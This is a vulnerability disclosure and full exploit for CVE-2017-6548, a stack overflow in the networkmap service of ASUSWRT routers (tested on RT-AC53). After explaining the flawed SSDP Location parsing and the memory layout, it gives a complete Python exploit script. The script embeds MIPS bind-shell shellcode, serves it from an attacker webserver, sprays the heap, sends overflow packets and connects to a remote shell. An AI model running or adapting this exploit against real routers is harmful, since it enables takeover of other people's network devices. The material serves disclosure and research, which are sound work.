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Remote Code Execution
Component: networkmap
CVE: CVE-2017-6548
networkmap is responsible for generating a map of computers connected to the router. It continuously monitors the LAN to detect ARP requests submitted by unknown computers. When a new MAC address appears it will probe the related IP address for running services like printer sharing, http server and also iTunes servers.
This is implemented by sending out multicast SSP discoveries:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3
A device can then respond with messages which indicate the location of the iTunes service.
HTTP/1.1 200 OK
Location:HTTP://host:port/path
Vulnerability:
The function process_device_repsonse is responsible for parsing the SSDP answer:
/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
char *line, *body, *p; // temporary variables
char *location = NULL; // the LOCATION: header
char host[16], port[6]; // the ip and port of the device
ushort destport; // the integer type of device port
char *data = NULL; // the data in packet
int http_fd; // the http socket fd
int nbytes; // recv number
int i;
char *descri = NULL;
int len;
struct timeval timeout={10, 0};
//search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
if( (body = strstr(msg, "\r\n\r\n")) != NULL)
body +=4;
else if ( (body = strstr(msg, "\r\n")) != NULL)
body +=2;
else
return 0;
p = msg;
// find the LOCATION information.
while( p!= NULL && p < body)
{
line = strsep(&p, "\r\n"); //divide up string
if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
{
location = strip_chars(&line[9], "\t");
location = strip_chars(&line[9], " ");
break;
}
}
NMP_DEBUG_F("UPnP location=%s\n", location);
//fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau
// get the destination ip
location += 7;
i = 0;
while( (*location != ':') && (*location != '/')) {
host[i] = *location++;
i++;
}
host[i] = '\0';
//get the destination port
if(*location == ':') {
for(location++, i =0; *location != '/'; i++)
port[i] = *location++;
port[i] = '\0';
destport = (ushort)atoi(port);
}
else
destport = 80;
It contains multiple buffer overflows in the parsing code for host and port. This stack-based overflow can be used to gain control over networkmap’s control flow by overwriting the saved $pc stored on the stack.
Parsing this message:
HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
will overflow host[16] and lead to $pc being set to 0x41414141 which is a starting point for further exploitation.
Exploitation:
In order to develop a working exploit we gather further information of the system.
General Information:
ASUSWRT is based on Linux which is running on a little endian MIPS CPU. The vulnerable program networkmap gets automatically started when the device boots and additionally gets restarted by the watchdog process if it crashes.
# cat /proc/cpuinfo
system type : MT7620
processor : 0
cpu model : MIPS 24Kc V5.0
BogoMIPS : 386.04
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented : mips16 dsp
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
# ps
PID USER VSZ STAT COMMAND
1 admin 3940 S /sbin/init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [sync_supers]
8 admin 0 SW [bdi-default]
9 admin 0 SW< [kintegrityd]
10 admin 0 SW< [kblockd]
11 admin 0 SW [kswapd0]
12 admin 0 SW [fsnotify_mark]
13 admin 0 SW< [crypto]
17 admin 0 SW [mtdblock0]
18 admin 0 SW [mtdblock1]
19 admin 0 SW [mtdblock2]
20 admin 0 SW [mtdblock3]
21 admin 0 SW [mtdblock4]
22 admin 0 SW [mtdblock5]
23 admin 0 SW [kworker/u:1]
30 admin 0 SW [kworker/0:1]
41 admin 660 S hotplug2 --persistent --no-coldplug
76 admin 3924 S console
78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
80 admin 1276 S /sbin/klogd -c 5
82 admin 1292 S /bin/sh
115 admin 0 SW [RtmpCmdQTask]
116 admin 0 SW [RtmpWscTask]
135 admin 0 SW [RtmpCmdQTask]
136 admin 0 SW [RtmpWscTask]
164 admin 3932 S /sbin/wanduck
168 admin 1128 S dropbear -p 192.168.1.1:22 -a
175 admin 3932 S wpsaide
189 nobody 1056 S dnsmasq --log-async
194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local]
196 admin 4112 S httpd -i br0
197 admin 1068 S /usr/sbin/infosvr br0
199 admin 3932 S watchdog
201 admin 2180 S rstats
210 admin 1160 S lld2d br0
211 admin 3932 S ots
224 admin 800 S miniupnpd -f /etc/upnp/config
229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
302 admin 1152 S dropbear -p 192.168.1.1:22 -a
303 admin 1300 S -sh
344 admin 1128 S networkmap
359 admin 1280 R ps
# uname -a
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
Memory Map:
networkmap’s memory map is analyzed to continue exploiting the device.
# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0 [heap]
2b893000-2b894000 rw-p 00000000 00:00 0
2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0
2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0
2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0
2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0
2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
Observations:
Partial ASLR is activated:
Stack address is randomized
Library addresses are randomized
Program address is not randomized
Heap address is not randomized
There is no Stack-Protector
Both heap and stack are mapped executable
The binary contains almost no gadgets suitable for building a ROP chain
Exploit:
The final exploit consists of the following steps:
Starting a webserver serving shellcode
Listening for multicast UDP messages send by the router
Database clearing / crashing: to make the heap layout predictable
Randomizing MAC address
Send message: jump to gadget that deletes networkmap’s database and crashes
networkmap will be restarted
Spraying heap 1, 2:
Randomizing MAC address
Send message: containing the webserver’s IP+port
networkmap will receive shellcode and store it on the heap
Starting payload
Randomize MAC address
Send message: jump to heap address containing the shellcode
Connect to opened shell
For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py)
Example:
# ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned
---networkmap-pwn.py---
#!/usr/bin/env python3
# ASUSWRT networkmap Remote Code Execution
# Author: Bruno Bierbaumer
# Date: 24/02/2017
# Tested version:
# RT-AC53 (3.0.0.4.380.6038)
# CVE: TODO
# Description:
# networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code.
ROUTER_IP = '192.168.1.1'
IP = '192.168.1.2'
INTERACE = 'enp0s31f6'
"""
Shellcode adjusted from https://www.exploit-db.com/exploits/13298/
"""
sc = b"\x41\x41\x04\x28" *1400 # nops
#alarm handling
sc += b"\xff\xff\x04\x28" # a0 <- 0 */
sc += b"\xbb\x0f\x02\x24" # li v0,4027 ( __alarm ) */
sc += b"\x0c\x01\x01\x01" # syscall
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
#/alarm
sc += b"\xe0\xff\xbd\x27" # addiu sp,sp,-32 */
sc += b"\xfd\xff\x0e\x24" # li t6,-3 */
sc += b"\x27\x20\xc0\x01" # nor a0,t6,zero */
sc += b"\x27\x28\xc0\x01" # nor a1,t6,zero */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\x57\x10\x02\x24" # li v0,4183 ( __NR_socket ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
sc += b"\x13\x37\x0d\x24" # li t5,0x3713 (port 0x1337) */
sc += b"\x04\x68\xcd\x01" # sllv t5,t5,t6 */
sc += b"\xff\xfd\x0e\x24" # li t6,-513 */
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
sc += b"\x25\x68\xae\x01" # or t5,t5,t6 */
sc += b"\xe0\xff\xad\xaf" # sw t5,-32(sp) */
sc += b"\xe4\xff\xa0\xaf" # sw zero,-28(sp) */
sc += b"\xe8\xff\xa0\xaf" # sw zero,-24(sp) */
sc += b"\xec\xff\xa0\xaf" # sw zero,-20(sp) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
sc += b"\x27\x30\xc0\x01" # nor a2,t6,zero */
sc += b"\xe0\xff\xa5\x23" # addi a1,sp,-32 */
sc += b"\x49\x10\x02\x24" # li v0,4169 ( __NR_bind ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\x01\x01\x05\x24" # li a1,257 */
sc += b"\x4e\x10\x02\x24" # li v0,4174 ( __NR_listen ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\x48\x10\x02\x24" # li v0,4168 ( __NR_accept ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xfd\xff\x0f\x24" # li t7,-3 */
sc += b"\x27\x28\xe0\x01" # nor a1,t7,zero */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\x01\x01\x05\x28" # slti a1,zero,0x0101 */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x50\x73\x06\x24" # li a2,0x7350 */
sc += b"\xff\xff\xd0\x04" # LB: bltzal a2,LB */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\xdb\xff\x0f\x24" # li t7,-37 */
sc += b"\x27\x78\xe0\x01" # nor t7,t7,zero */
sc += b"\x21\x20\xef\x03" # addu a0,ra,t7 */
sc += b"\xf0\xff\xa4\xaf" # sw a0,-16(sp) */
sc += b"\xf4\xff\xa0\xaf" # sw zero,-12(sp) */
sc += b"\xf0\xff\xa5\x23" # addi a1,sp,-16 */
sc += b"\xab\x0f\x02\x24" # li v0,4011 ( __NR_execve ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"/bin/sh";
import time
import struct
import socket
import sys
import os
import threading
import socketserver
import telnetlib
# randomize mac address
def mac():
os.system('macchanger -A {} > /dev/null'.format(INTERACE))
# setup interface
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP))
# setup minimal webserver for delivering the shellcode
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
print('[-] got shellcode request')
self.request.recv(1024)
print("[-] sending shellcode")
self.request.send(sc)
class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
print('[-] starting webserver')
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()
# start multicast receiver
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 1900))
group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])
mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
mac()
state = 'clean'
while True:
data, sender = s.recvfrom(1500)
if sender[0] == ROUTER_IP and sender[1] == 1008:
print("[-] received SSP discovery")
data = {}
data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n'
data['pwn'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n'
data['heap'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n'
data['heap2']= data['heap']
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data[state], sender)
if state == 'pwn':
print("[-] starting payload")
while True:
try:
print("[-] try to connect to shell")
telnet = telnetlib.Telnet()
telnet.open('192.168.1.1', 0x1337, timeout=1)
print('[+] connected')
telnet.write(b'uname -a; echo [+] pwned\n')
telnet.interact()
except:
pass
time.sleep(2.0)
if state == 'heap2':
print("[-] spraying heap 2/2")
mac()
state = 'pwn'
if state == 'heap':
print("[-] spraying heap 1/2")
mac()
state = 'heap2'
if state == 'clean':
print('[-] clearing database and crashing')
mac()
state = 'heap'
---EOF---
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